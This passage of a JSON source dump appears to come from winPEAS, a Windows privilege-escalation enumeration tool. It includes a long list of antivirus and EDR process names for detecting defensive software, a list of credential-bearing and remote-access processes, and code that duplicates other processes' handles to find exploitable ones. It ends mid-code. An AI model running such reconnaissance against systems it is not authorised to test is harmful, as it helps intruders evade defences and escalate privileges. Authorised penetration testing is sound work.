    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_UDP6TABLE_OWNER_PID\n    {\n        public uint dwNumEntries;\n        [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]\n        public MIB_UDP6ROW_OWNER_PID[] table;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_UDPROW_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_UDPROW_OWNER_PID\n    {\n        public uint localAddr;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] localPort;\n        public int owningPid;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_UDPTABLE_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_UDPTABLE_OWNER_PID\n    {\n        public uint dwNumEntries;\n        [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]\n        public MIB_UDPROW_OWNER_PID[] table;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/TcpConnectionInfo.cs",
    "content": "﻿using System.Net;\nusing System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public class TcpConnectionInfo : NetworkConnection\n    {\n        public IPAddress RemoteAddress { get; set; }\n        public ushort RemotePort { get; set; }\n        public MibTcpState State { get; set; }\n\n        public TcpConnectionInfo(Protocol protocol, IPAddress localAddress, IPAddress remoteIp, ushort localPort,\n            ushort remotePort, int pId, MibTcpState state, string processName)\n            : base(protocol, localAddress, localPort, pId, processName)\n        {\n            RemoteAddress = remoteIp;\n            RemotePort = remotePort;\n            State = state;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/UdpConnectionInfo.cs",
    "content": "﻿using System.Net;\nusing System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public class UdpConnectionInfo : NetworkConnection\n    {\n        public UdpConnectionInfo(Protocol protocol, IPAddress localAddress, ushort localPort, int pId, string processName)\n             : base(protocol, localAddress, localPort, pId, processName)\n        {\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Win32Error.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo\n{\n    // Defined at https://msdn.microsoft.com/en-us/library/cc231199.aspx    \n    internal class Win32Error\n    {\n        public const int Success = 0;\n        public const int NERR_Success = 0;\n        public const int AccessDenied = 0x0000005;\n        public const int NotEnoughMemory = 0x00000008;\n        public const int InsufficientBuffer = 0x0000007A;\n        public const int MoreData = 0x00000EA;\n        public const int NoSuchAlias = 0x0000560;\n        public const int RpcServerUnavailable = 0x0006BA;\n        public const int NERR_GroupNotFound = 0x00008AC;\n        public const int NERR_InvalidComputer = 0x000092F;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/DefensiveProcesses.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.ProcessInfo\n{\n    static class DefensiveProcesses\n    {\n        private static Dictionary<string, HashSet<string>> Definitions = new Dictionary<string, HashSet<string>>()\n        {\n            { \"ALYac\", new HashSet<string>() {  \"alyac.exe\",  \"aylaunch.exe\",  \"asmsetup.exe\",  } },\n            { \"AVG Antivirus\", new HashSet<string>() {  \"avgui.exe\",  } },\n            { \"AVG\", new HashSet<string>() {  \"avgemc.exe\",  \"afwserv.exe\",  \"avgsvc.exe\",  \"aswidsagent.exe\",  } },\n            { \"Ad-Aware Total Security by Lavasoft\", new HashSet<string>() {  \"ffcachetool.exe\",  \"avktray.exe\",  \"gdsc.exe\",  \"bootcdwizard.exe\",  \"avkservice.exe\",  \"ask.exe\",  \"avkwctlx64.exe\",  \"gdfwadmin.exe\",  \"avktuner.exe\",  \"initinst.exe\",  \"gdfwsvc.exe\",  \"avk.exe\",  \"avkwscpe.exe\",  \"avkwctl.exe\",  \"avktunerservice.exe\",  \"mkisofs.exe\",  \"gdfirewalltray.exe\",  \"initinstx64.exe\",  \"gdgadgetinst32.exe\",  \"gdfwsvcx64.exe\",  \"aawtray.exe\",  } },\n            { \"AhnLab-V3\", new HashSet<string>() {  \"aup80if.ex\",  \"v3ui.exe\",  \"v3medic.exe\",  \"v3lite.exe\",  \"v3l4cli.exe\",  } },\n            { \"Antiy-AVL\", new HashSet<string>() {  \"avl.exe\",  } },\n            { \"Arcabit\", new HashSet<string>() {  \"arcavir.exe\",  \"arcaconfsv.exe\",  \"arcabit.core.loggingservice.exe\",  \"arcabit.core.configurator2.exe\",  \"arcabit.exe\",  } },\n            { \"Avast Antivirus\", new HashSet<string>() {  \"avastui.exe\",  } },\n            { \"Avast\", new HashSet<string>() {  \"avast-antivirus.exe\",  \"avastsvc.exe\",  \"ashserv.exe\",  } },\n            { \"Avira\", new HashSet<string>() {  \"avira.webapphost.exe\",  } },\n            { \"Baidu\", new HashSet<string>() {  \"bav.exe\",  \"bavcloud.exe\",  \"bavhm.exe\",  \"bavsvc.exe\",  \"bavtray.exe\",  \"bavupdater.exe\",  \"bavbsreport.exe\",  } },\n            { \"BitDefender\", new HashSet<string>() {  \"epprotectedservice.exe\",  \"epsecurityservice.exe\",  \"epupdateservice.exe\",  \"epupdateserver.exe\",  \"bdagent.exe\",  } },\n            { \"Bkav Pro\", new HashSet<string>() {  \"bkavutil.exe\",  \"bkav.exe\",  \"bkavpro.exe\",  \"bkavservice.exe\",  } },\n            { \"CMC\", new HashSet<string>() {  \"cmcpanel.exe\",  \"cmccore.exe\",  \"cmctrayicon.exe\",  } },\n            { \"Cisco\", new HashSet<string>() {  \"sfc.exe\",  } },\n            { \"ClamAV\", new HashSet<string>() {  \"clamscan.exe\",  \"freshclam.exe\",  } },\n            { \"Comodo\", new HashSet<string>() {  \"cavwp.exe\",  \"cfp.exe\",  } },\n            { \"CrowdStrike Falcon\", new HashSet<string>() {  \"falconsensorwinos.exe\",  } },\n            { \"Cybereason\", new HashSet<string>() {  \"cybereasonransomfreeservicehost.exe\",  } },\n            { \"Cylance\", new HashSet<string>() {  \"cylancesvc.exe\",  } },\n            { \"Cynet\", new HashSet<string>() {  \"cynet.exe\",  \"cexplore.exe\",  \"cynet.zerologondetector.exe\",  } },\n            { \"Cyradar\", new HashSet<string>() {  \"cyradarexecutorservices.exe\",  \"cyradaredr.exe\",  \"cyradares.exe\",  } },\n            { \"DrWeb\", new HashSet<string>() {  \"dwscancl.exe\",  \"drwebsettingprocess.exe\",  \"dwsysinfo.exe\",  \"drwupsrv.exe\",  \"dwnetfilter.exe\",  \"dwscanner.exe\",  \"dwservice.exe\",  \"frwl_notify.exe\",  \"frwl_svc.exe\",  \"spideragent.exe\",  \"spideragent_adm.exe\",  } },\n            { \"ESET-NOD32\", new HashSet<string>() {  \"eraagent.exe\",  \"shouldiremoveit.com\",  \"ecmd.exe\",  \"egui.exe\",  } },\n            { \"F-Secure\", new HashSet<string>() {  \"fsav32.exe\",  \"fsdfwd.exe\",  \"fsguiexe.exe\",  \"fsav.exe\",  } },\n            { \"G Data AntiVirus\", new HashSet<string>() {  \"bootcdwizard.exe\",  \"avkservice.exe\",  \"avktray.exe\",  \"gdgadgetinst32.exe\",  \"ransomwareremovalhelper.exe\",  \"gdlog.exe\",  \"sec.exe\",  \"avkwctlx64.exe\",  \"updategui.exe\",  \"avk.exe\",  \"autorundelayloader.exe\",  \"avkcmd.exe\",  \"avkwscpe.exe\",  \"iupdateavk.exe\",  } },\n            { \"GridinSoft Anti-Malware\", new HashSet<string>() {  \"uninst.exe\",  \"gtkmgmtc.exe\",  \"tkcon.exe\",  \"unpacker.exe\",  } },\n            { \"IObit Malware Fighter 3\", new HashSet<string>() {  \"imfantivirususb.exe\",  \"actioncenterdownloader.exe\",  \"adsremovalsetup.exe\",  \"feedback.exe\",  \"iobituninstal.exe\",  \"sendbugreport.exe\",  \"imf_iobitdel.exe\",  \"imfantivirustips.exe\",  \"promote.exe\",  \"imfupdater.exe\",  \"imf_actioncenterdownloader.exe\",  \"imfregister.exe\",  \"reprocess.exe\",  \"imfsrv_iobitdel.exe\",  \"liveupdate.exe\",  \"xmaspromote.exe\",  \"spsetup.exe\",  \"imf_downconfig.exe\",  \"uninstallpromote.exe\",  \"bluebirdinit.exe\",  \"imftips.exe\",  \"locallang.exe\",  \"imfinstaller.exe\",  \"aupdate.exe\",  \"startmenu.exe\",  \"iwsimfxp.exe\",  \"ppuninstaller.exe\",  \"taskschedule.exe\",  \"fixplugin.exe\",  \"imfantivirusfix.exe\",  \"imfbigupgrade.exe\",  \"imftips_iobitdel.exe\",  \"imfsrv.exe\",  \"iobitcommunities.exe\",  \"autoupdate.exe\",  \"unins000.exe\",  \"homepage.exe\",  } },\n            { \"IObit Malware Fighter 6\", new HashSet<string>() {  \"iwsimf_av.exe\",  \"imfantivirususb.exe\",  \"feedback.exe\",  \"sendbugreportnew.exe\",  \"ransomware.exe\",  \"imfantivirustips.exe\",  \"imfdbupdatestat.exe\",  \"imf_actioncenterdownloader.exe\",  \"iwsimf.exe\",  \"browserprotect.exe\",  \"driverscan.exe\",  \"imfregister.exe\",  \"reprocess.exe\",  \"liveupdate.exe\",  \"christmas.exe\",  \"bf.exe\",  \"imf_downconfig.exe\",  \"browsercleaner.exe\",  \"antitracking.exe\",  \"bluebirdinit.exe\",  \"imftips.exe\",  \"imfinstaller.exe\",  \"locallang.exe\",  \"carescan.exe\",  \"imfsrvwsc.exe\",  \"safebox.exe\",  \"aupdate.exe\",  \"iobitliveupdate.exe\",  \"imfchecker.exe\",  \"iwsimfxp.exe\",  \"ppuninstaller.exe\",  \"imfantivirusfix.exe\",  \"imfbigupgrade.exe\",  \"exclusivepsimf.exe\",  \"imfanalyzer.exe\",  \"bfimf.exe\",  \"imfsrv.exe\",  \"autoupdate.exe\",  \"spinit.exe\",  \"homepage.exe\",  \"dugtrio.exe\",  } },\n            { \"IObit Security 360\", new HashSet<string>() {  \"is360tray.exe\",  \"is360init.exe\",  \"is360srv.exe\",  \"e_privacysweeper.exe\",  \"a_hijackscan.exe\",  \"g_portable.exe\",  \"d_powerfuldelete.exe\",  \"b_securityholes.exe\",  \"is360updater.exe\",  \"unins000.exe\",  \"f_pctuneup.exe\",  \"imf_freesoftwaredownloader.exe\",  \"c_passivedefense.exe\",  } },\n            { \"K7AntiVirus Plus by K7 Computing Pvt Ltd\", new HashSet<string>() {  \"healthmon.exe\",  \"k7avqrnt.exe\",  \"k7tliehistory.exe\",  \"k7tlusbvaccine.exe\",  \"k7tsalrt.exe\",  \"k7tlwintemp.exe\",  \"k7tlinettemp.exe\",  \"k7tshlpr.exe\",  \"k7disinfectorgui.exe\",  \"k7tlvirtkey.exe\",  \"k7tlmtry.exe\",  \"k7fwsrvc.exe\",  \"k7tsecurity.exe\",  \"k7avmscn.exe\",  \"k7ctscan.exe\",  \"k7tsecurityuninstall.exe\",  \"k7rtscan.exe\",  \"k7avscan.exe\",  \"k7crvsvc.exe\",  \"k7tsdbg.exe\",  \"k7emlpxy.exe\",  } },\n            { \"K7AntiVirus Premium by K7 Computing Pvt Ltd\", new HashSet<string>() {  \"k7quervarcleaningtool.exe\",  \"k7ndfhlpr.exe\",  \"healthmon.exe\",  \"k7avqrnt.exe\",  \"k7tliehistory.exe\",  \"k7tlusbvaccine.exe\",  \"k7tsstart.exe\",  \"k7tsalrt.exe\",  \"k7tlwintemp.exe\",  \"k7mebezatencremovaltool.exe\",  \"k7tlinettemp.exe\",  \"k7tsmain.exe\",  \"k7tshlpr.exe\",  \"k7tssplh.exe\",  \"k7disinfectorgui.exe\",  \"k7tlvirtkey.exe\",  \"k7tlmtry.exe\",  \"k7fwsrvc.exe\",  \"k7tsreminder.exe\",  \"k7tsecurity.exe\",  \"k7avmscn.exe\",  \"k7ctscan.exe\",  \"k7rtscan.exe\",  \"k7tsnews.exe\",  \"k7avscan.exe\",  \"k7crvsvc.exe\",  \"k7emlpxy.exe\",  \"k7tsupdt.exe\",  } },\n            { \"Kaspersky Anti-Ransomware Tool for Business\", new HashSet<string>() {  \"anti_ransom_gui.exe\",  \"dump_writer_agent.exe\",  \"anti_ransom.exe\",  } },\n            { \"Kaspersky Anti-Virus 2011\", new HashSet<string>() {  \"kldw.exe\",  } },\n            { \"Kaspersky Anti-Virus 2013\", new HashSet<string>() {  \"ffcert.exe\",  } },\n            { \"Kaspersky Anti-Virus Personal\", new HashSet<string>() {  \"kavsend.exe\",  \"kavsvc.exe\",  \"getsysteminfo.exe\",  \"uninstall.exe\",  } },\n            { \"Kaspersky Antivirus\", new HashSet<string>() {  \"avp.exe\",  } },\n            { \"Kaspersky\", new HashSet<string>() {  \"klnagent.exe\",  } },\n            { \"Malwarebytes\", new HashSet<string>() {  \"mbam.exe\",  \"mbar.exe\",  \"mbae.exe\",  } },\n            { \"McAfee All Access – AntiVirus Plus\", new HashSet<string>() {  \"compatibilitytester.exe\",  \"mispreg.exe\",  \"mcods.exe\",  \"mcvsmap.exe\",  \"mcocrollback.exe\",  \"mpfalert.exe\",  \"mcvulalert.exe\",  \"mvsinst.exe\",  \"mcupdmgr.exe\",  \"mcpvtray.exe\",  \"mcvuladmagnt.exe\",  \"mcvulunpk.exe\",  \"qcshm.exe\",  \"mcoemmgr.exe\",  \"qcconsol.exe\",  \"mcuihost.exe\",  \"mcvsshld.exe\",  \"mcinstru.exe\",  \"mcvulcon.exe\",  \"mcsync.exe\",  \"firesvc.exe\",  \"qccons32.exe\",  \"mcsvrcnt.exe\",  \"mcvulusragnt.exe\",  \"shrcl.exe\",  \"mcodsscan.exe\",  \"mcapexe.exe\",  \"mcautoreg.exe\",  \"mcinfo.exe\",  \"mcvulctr.exe\",  \"svcdrv.exe\",  } },\n            { \"McAfee AntiSpyware\", new HashSet<string>() {  \"msssrv.exe\",  \"mcspy.exe\",  \"msscli.exe\",  } },\n            { \"McAfee AntiVirus Plus\", new HashSet<string>() {  \"mispreg.exe\",  \"mcvsmap.exe\",  \"mcods.exe\",  \"mcactinst.exe\",  \"mcocrollback.exe\",  \"mpfalert.exe\",  \"mcinsupd.exe\",  \"langsel.exe\",  \"mvsinst.exe\",  \"mcshell.exe\",  \"mfehidin.exe\",  \"mchlp32.exe\",  \"mcupdmgr.exe\",  \"saupd.exe\",  \"uninstall.exe\",  \"mcawfwk.exe\",  \"qcshm.exe\",  \"mcsacore.exe\",  \"mcoemmgr.exe\",  \"qcconsol.exe\",  \"mcuihost.exe\",  \"mcinstru.exe\",  \"mcvsshld.exe\",  \"mcoobeof.exe\",  \"mcsync.exe\",  \"firesvc.exe\",  \"qccons32.exe\",  \"saui.exe\",  \"mcsvrcnt.exe\",  \"shrcl.exe\",  \"mcsmtfwk.exe\",  \"mcautoreg.exe\",  \"mcuninst.exe\",  \"mcinfo.exe\",  \"actutil.exe\",  } },\n            { \"McAfee Antivirus\", new HashSet<string>() {  \"mcafee.exe\",  } },\n            { \"NANO Antivirus beta by Nano Security Ltd\", new HashSet<string>() {  \"nanoreportc64.exe\",  \"nanorst.exe\",  \"uninstall.exe\",  \"nanoreport.exe\",  \"nanosvc.exe\",  \"nanoav64.exe\",  \"nanoreportc.exe\",  } },\n            { \"NANO-Antivirus\", new HashSet<string>() {  \"nanoav.exe\",  } },\n            { \"Norton Antivirus\", new HashSet<string>() {  \"nortonsecurity.exe\",  } },\n            { \"PCMatic\", new HashSet<string>() {  \"pcmaticpushcontroller.exe\",  \"pcmaticrt.exe\",  } },\n            { \"Panda Security\", new HashSet<string>() {  \"psanhost.exe\",  } },\n            { \"Panda\", new HashSet<string>() {  \"avengine.exe\",  } },\n            { \"Quick Heal AntiVirus Pro\", new HashSet<string>() {  \"delnboot.exe\",  \"0000007c_afupdfny.exe\",  \"asmain.exe\",  \"asclsrvc.exe\",  \"acappaa.exe\",  \"activate.exe\",  } },\n            { \"Quick Heal Total Security\", new HashSet<string>() {  \"delnboot.exe\",  \"contact.exe\",  \"activate.exe\",  \"acappaa.exe\",  } },\n            { \"Sophos Anti-Rootkit 1.5.0\", new HashSet<string>() {  \"helper.exe\",  \"svrtcli.exe\",  \"sctcleanupservice.exe\",  \"native.exe\",  \"svrtservice.exe\",  \"svrtgui.exe\",  \"sarcli.exe\",  \"sctboottasks.exe\",  } },\n            { \"Sophos Anti-Virus\", new HashSet<string>() {  \"sav32cli.exe\",  \"savprogress.exe\",  \"savservice.exe\",  \"native.exe\",  \"swi_di.exe\",  \"backgroundscanclient.exe\",  \"savmain.exe\",  \"forceupdatealongsidesgn.exe\",  \"swc_service.exe\",  \"savproxy.exe\",  \"savcleanupservice.exe\",  \"savadminservice.exe\",  } },\n            { \"Symantec Endpoint Protection\", new HashSet<string>() {  \"ccsvchst.exe\",  } },\n            { \"Symantec\", new HashSet<string>() {  \"sepwscsvc64.exe\",  } },\n            { \"Total Defense Anti-Virus\", new HashSet<string>() {  \"caoscheck.exe\",  \"ccprovsp.exe\",  \"caschelp.exe\",  \"caisstutorial.exe\",  \"ccwatcher.exe\",  \"cawsc.exe\",  \"ccevtmgr.exe\",  \"ccprovep.exe\",  \"casc.exe\",  \"cclogconfig.exe\",  \"ccschedulersvc.exe\",  \"cckasubmit.exe\",  \"ccproxysrvc.exe\",  \"caunst.exe\",  } },\n            { \"Trend micro\", new HashSet<string>() {  \"uiwinmgr.exe\",  \"ntrtscan.exe\",  \"tmntsrv.exe\",  \"pccpfw.exe\",  } },\n            { \"VIPRE Advanced Security by ThreatTrack Security\", new HashSet<string>() {  \"sbamtray.exe\",  \"sbamwsc.exe\",  \"sbamcommandlinescanner.exe\",  \"sbamcreaterestore.exe\",  \"sbamsvc.exe\",  \"avcproxy.exe\",  \"sbbd.exe\",  } },\n            { \"VIPRE Antivirus by GFI Software\", new HashSet<string>() {  \"sbamtray.exe\",  \"sbsetupdrivers.exe\",  \"sbamsafemodeui.exe\",  \"sbpimsvc.exe\",  \"sbamwsc.exe\",  \"sbrc.exe\",  \"sfe.exe\",  \"sbagentdiagnostictool.exe\",  \"sbamcommandlinescanner.exe\",  \"sbamsvc.exe\",  \"sbamcreaterestore.exe\",  \"sbamui.exe\",  } },\n            { \"ViRobot Anti-Ransomware by HAURI\", new HashSet<string>() {  \"vrbbdsvc.exe\",  \"uninstall.exe\",  \"vrbbdlogviewer.exe\",  \"vrbbdbackup.exe\",  \"vrpuller.exe\",  } },\n            { \"ViRobot Internet Security 2011 by HAURI\", new HashSet<string>() {  \"hvrpcuselock.exe\",  \"hvrlogview.exe\",  \"hvreasyrobot.exe\",  \"hvrsetup.exe\",  \"hvrfilewipe.exe\",  \"hvrmalsvc.exe\",  \"hvrtrafficviewer.exe\",  \"hvrscan.exe\",  \"hvrcontain.exe\",  \"hvrquarantview.exe\",  \"hvrtray.exe\",  } },\n            { \"Webroot\", new HashSet<string>() {  \"wrsa.exe\",  } },\n            { \"Windows defender\", new HashSet<string>() {  \"msmpeng.exe\",  \"mpcmdrun.exe\",  \"msascuil.exe\",  \"windefend.exe\",  \"msascui.exe\",  \"msmpsvc.exe\",  } },\n            { \"Zillya Internet Security by ALLIT Service\", new HashSet<string>() {  \"drvcmd.exe\",  \"ziscore.exe\",  \"keyboard.exe\",  \"systemresearchtool.exe\",  \"zis.exe\",  \"zisnet.exe\",  \"conscan.exe\",  \"zisupdater.exe\",  \"zisaux.exe\",  \"ziships.exe\",  } },\n            { \"Zillya! Antivirus by ALLIT Service\", new HashSet<string>() {  \"wscmgr.exe\",  \"drvcmd.exe\",  \"zillya.exe\",  \"zavaux.exe\",  \"reporter.exe\",  \"autoruntool.exe\",  \"taskmanagertool.exe\",  } },\n            { \"Zillya! Internet Security by ALLIT Service\", new HashSet<string>() {  \"restoretool.exe\",  \"drvcmd.exe\",  \"wscmgr.exe\",  \"zefcore.exe\",  \"zefsvc.exe\",  \"fwdisabler.exe\",  \"zefaux.exe\",  \"backuphostfile.exe\",  \"conscanner.exe\",  \"reporter.exe\",  \"autoruntool.exe\",  \"zef.exe\",  \"taskmanagertool.exe\",  } },\n            { \"ZoneAlarm Anti-Ransomware by Check Point Software\", new HashSet<string>() {  \"zup.exe\",  \"consrvhost.exe\",  \"zaarupdateservice.exe\",  \"zaar.exe\",  \"sbacipollasrvhost.exe\",  \"uninst.exe\",  } },\n            { \"ZoneAlarm Antivirus by Check Point, Inc\", new HashSet<string>() {  \"threatemulation.exe\",  \"multiscan.exe\",  \"restoreutility.exe\",  \"vsmon.exe\",  \"zatray.exe\",  \"multifix.exe\",  } },\n            { \"ZoneAlarm by Check Point, Inc\", new HashSet<string>() {  \"instmtdr.exe\",  \"zatutor.exe\",  \"cpes_clean.exe\",  \"multiscan.exe\",  \"zauninst.exe\",  \"zlclient.exe\",  \"multifix.exe\",  } }\n        };\n\n        // reverse lookup list\n        public static Dictionary<string, HashSet<string>> AVVendorsByProcess = new Dictionary<string, HashSet<string>>();\n\n        static DefensiveProcesses()\n        {\n            // initialize the structure here\n            foreach (var kvp in Definitions)\n            {\n                var vendor = kvp.Key;\n\n                foreach (var executable in kvp.Value)\n                {\n                    var sanitizedExecutable = executable.Trim().ToLower();\n\n                    if (!AVVendorsByProcess.ContainsKey(sanitizedExecutable))\n                    {\n                        AVVendorsByProcess.Add(sanitizedExecutable, new HashSet<string>() { vendor });\n                    }\n                    else\n                    {\n                        AVVendorsByProcess[sanitizedExecutable].Add(vendor);\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/InterestingProcesses.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.ProcessInfo\n{\n    static class InterestingProcesses\n    {\n        public static Dictionary<string, string> Definitions = new Dictionary<string, string>()\n        {\n            {\"CmRcService.exe\"             , \"Configuration Manager Remote Control Service\"},\n            {\"ftp.exe\"                     , \"Misc. FTP client\"},\n            {\"LMIGuardian.exe\"             , \"LogMeIn Reporter\"},\n            {\"LogMeInSystray.exe\"          , \"LogMeIn System Tray\"},\n            {\"RaMaint.exe\"                 , \"LogMeIn maintenance sevice\"},\n            {\"mmc.exe\"                     , \"Microsoft Management Console\"},\n            {\"putty.exe\"                   , \"Putty SSH client\"},\n            {\"pscp.exe\"                    , \"Putty SCP client\"},\n            {\"psftp.exe\"                   , \"Putty SFTP client\"},\n            {\"puttytel.exe\"                , \"Putty Telnet client\"},\n            {\"plink.exe\"                   , \"Putty CLI client\"},\n            {\"pageant.exe\"                 , \"Putty SSH auth agent\"},\n            {\"kitty.exe\"                   , \"Kitty SSH client\"},\n            {\"telnet.exe\"                  , \"Misc. Telnet client\"},\n            {\"SecureCRT.exe\"               , \"SecureCRT SSH/Telnet client\"},\n            {\"TeamViewer.exe\"              , \"TeamViewer\"},\n            {\"tv_x64.exe\"                  , \"TeamViewer x64 remote control\"},\n            {\"tv_w32.exe\"                  , \"TeamViewer x86 remote control\"},\n            {\"keepass.exe\"                 , \"KeePass password vault\"},\n            {\"mstsc.exe\"                   , \"Microsoft RDP client\"},\n            {\"vnc.exe\"                     , \"Possible VNC client\"},\n            {\"powershell.exe\"              , \"PowerShell host process\"},\n            {\"cmd.exe\"                     , \"Command Prompt\"},\n            {\"WinSCP.exe\"                  , \"WINScp client\"},\n            {\"Code.exe\"                    , \"Visual Studio Code\"},\n            {\"filezilla.exe\"               , \"FileZilla Client\"},\n        };\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/ProcessesInfo.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Management;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing System.Text.RegularExpressions;\nusing System.Threading.Tasks;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.ProcessInfo\n{\n    internal class ProcessesInfo\n    {\n        // TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10\n        public static List<Dictionary<string, string>> GetProcInfo()\n        {\n            List<Dictionary<string, string>> f_results = new List<Dictionary<string, string>>();\n            try\n            {\n                var wmiQueRyStr = \"SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process\";\n                using (var srcher = new ManagementObjectSearcher(wmiQueRyStr))\n                using (var reslts = srcher.Get())\n                {\n                    var queRy = from p in Process.GetProcesses()\n                                join mo in reslts.Cast<ManagementObject>()\n                                on p.Id equals (int)(uint)mo[\"ProcessId\"]\n                                select new\n                                {\n                                    Proc = p,\n                                    Pth = (string)mo[\"ExecutablePath\"],\n                                    CommLine = (string)mo[\"CommandLine\"],\n                                    Owner = HandlesHelper.GetProcU(p)[\"name\"], //Needed inside the next foreach\n                                };\n\n                    foreach (var itm in queRy)\n                    {\n                        if (itm.Pth != null)\n                        {\n                            string companyName = \"\";\n                            string isDotNet = \"\";\n                            try\n                            {\n                                FileVersionInfo myFileVerInfo = FileVersionInfo.GetVersionInfo(itm.Pth);\n                                //compName = myFileVerInfo.CompanyName;\n                                isDotNet = MyUtils.CheckIfDotNet(itm.Pth) ? \"isDotNet\" : \"\";\n                            }\n                            catch\n                            {\n                                // Not enough privileges\n                            }\n                            if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @\"^Microsoft.*\", RegexOptions.IgnoreCase)))\n                            {\n                                Dictionary<string, string> to_add = new Dictionary<string, string>\n                                {\n                                    [\"Name\"] = itm.Proc.ProcessName,\n                                    [\"ProcessID\"] = itm.Proc.Id.ToString(),\n                                    [\"ExecutablePath\"] = itm.Pth,\n                                    [\"Product\"] = companyName,\n                                    [\"Owner\"] = itm.Owner == null ? \"\" : itm.Owner,\n                                    [\"isDotNet\"] = isDotNet,\n                                    [\"CommandLine\"] = itm.CommLine\n                                };\n                                f_results.Add(to_add);\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return f_results;\n        }\n\n        public static List<Dictionary<string, string>> GetVulnHandlers(ProgressBar progress)\n        {\n            List<Dictionary<string, string>> vulnHandlers = new List<Dictionary<string, string>>();\n            List<HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handlers = HandlesHelper.GetAllHandlers();\n            List<string> interestingHandlerTypes = new List<string>() { \"file\", \"key\", \"process\", \"thread\" }; //section\n\n            int processedHandlersCount = 0;\n            int UPDATE_PROGRESSBAR_COUNT = 500;\n            double pb = 0;\n            int totalCount = handlers.Count;\n\n            foreach (HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h in handlers)\n            {\n                processedHandlersCount++;\n\n                if (processedHandlersCount % UPDATE_PROGRESSBAR_COUNT == 0)\n                {\n                    pb = (double)processedHandlersCount / totalCount;\n                    progress.Report(pb); //Value must be in [0..1] range\n                }\n\n                // skip some objects to avoid getting stuck\n                // see: https://github.com/adamdriscoll/PoshInternals/issues/7\n                if (h.GrantedAccess == 0x0012019f\n                    || h.GrantedAccess == 0x00120189\n                    || h.GrantedAccess == 0x120089\n                    || h.GrantedAccess == 0x1A019F)\n                    continue;\n\n                IntPtr dupHandle;\n                IntPtr _processHandle = Native.Kernel32.OpenProcess(HandlesHelper.ProcessAccessFlags.DupHandle | HandlesHelper.ProcessAccessFlags.QueryInformation, false, h.UniqueProcessId);\n\n                if (_processHandle == (IntPtr)0)\n                    continue;\n\n                uint status = (uint)Native.Ntdll.NtDuplicateObject(\n                    _processHandle,\n                    h.HandleValue,\n                    Native.Kernel32.GetCurrentProcess(),\n                    out dupHandle,\n                    0,\n                    false,\n                    HandlesHelper.DUPLICATE_SAME_ACCESS);\n\n                Native.Kernel32.CloseHandle(_processHandle);\n\n                if (status != 0)\n                    continue;\n\n                string typeName = HandlesHelper.GetObjectType(dupHandle).ToLower();\n                if (interestingHandlerTypes.Contains(typeName))\n                {\n                    HandlesHelper.VULNERABLE_HANDLER_INFO handlerExp = HandlesHelper.checkExploitaible(h, typeName);\n                    if (handlerExp.isVuln == true)\n                    {\n                        HandlesHelper.PT_RELEVANT_INFO origProcInfo = HandlesHelper.getProcInfoById((int)h.UniqueProcessId);\n                        if (!Checks.Checks.CurrentUserSiDs.ContainsKey(origProcInfo.userSid))\n                            continue;\n\n                        string hName = HandlesHelper.GetObjectName(dupHandle);\n\n                        Dictionary<string, string> to_add = new Dictionary<string, string>\n                        {\n                            [\"Handle Name\"] = hName,\n                            [\"Handle\"] = h.HandleValue.ToString() + \"(\" + typeName + \")\",\n                            [\"Handle Owner\"] = \"Pid is \" + h.UniqueProcessId.ToString() + \"(\" + origProcInfo.name + \") with owner: \" + origProcInfo.userName,\n                            [\"Reason\"] = handlerExp.reason\n                        };\n\n                        if (typeName == \"process\" || typeName == \"thread\")\n                        {\n                            HandlesHelper.PT_RELEVANT_INFO hInfo;\n                            if (typeName == \"process\")\n                            {\n                                hInfo = HandlesHelper.getProcessHandlerInfo(dupHandle);\n                            }\n\n                            else //Thread\n                            {\n                                hInfo = 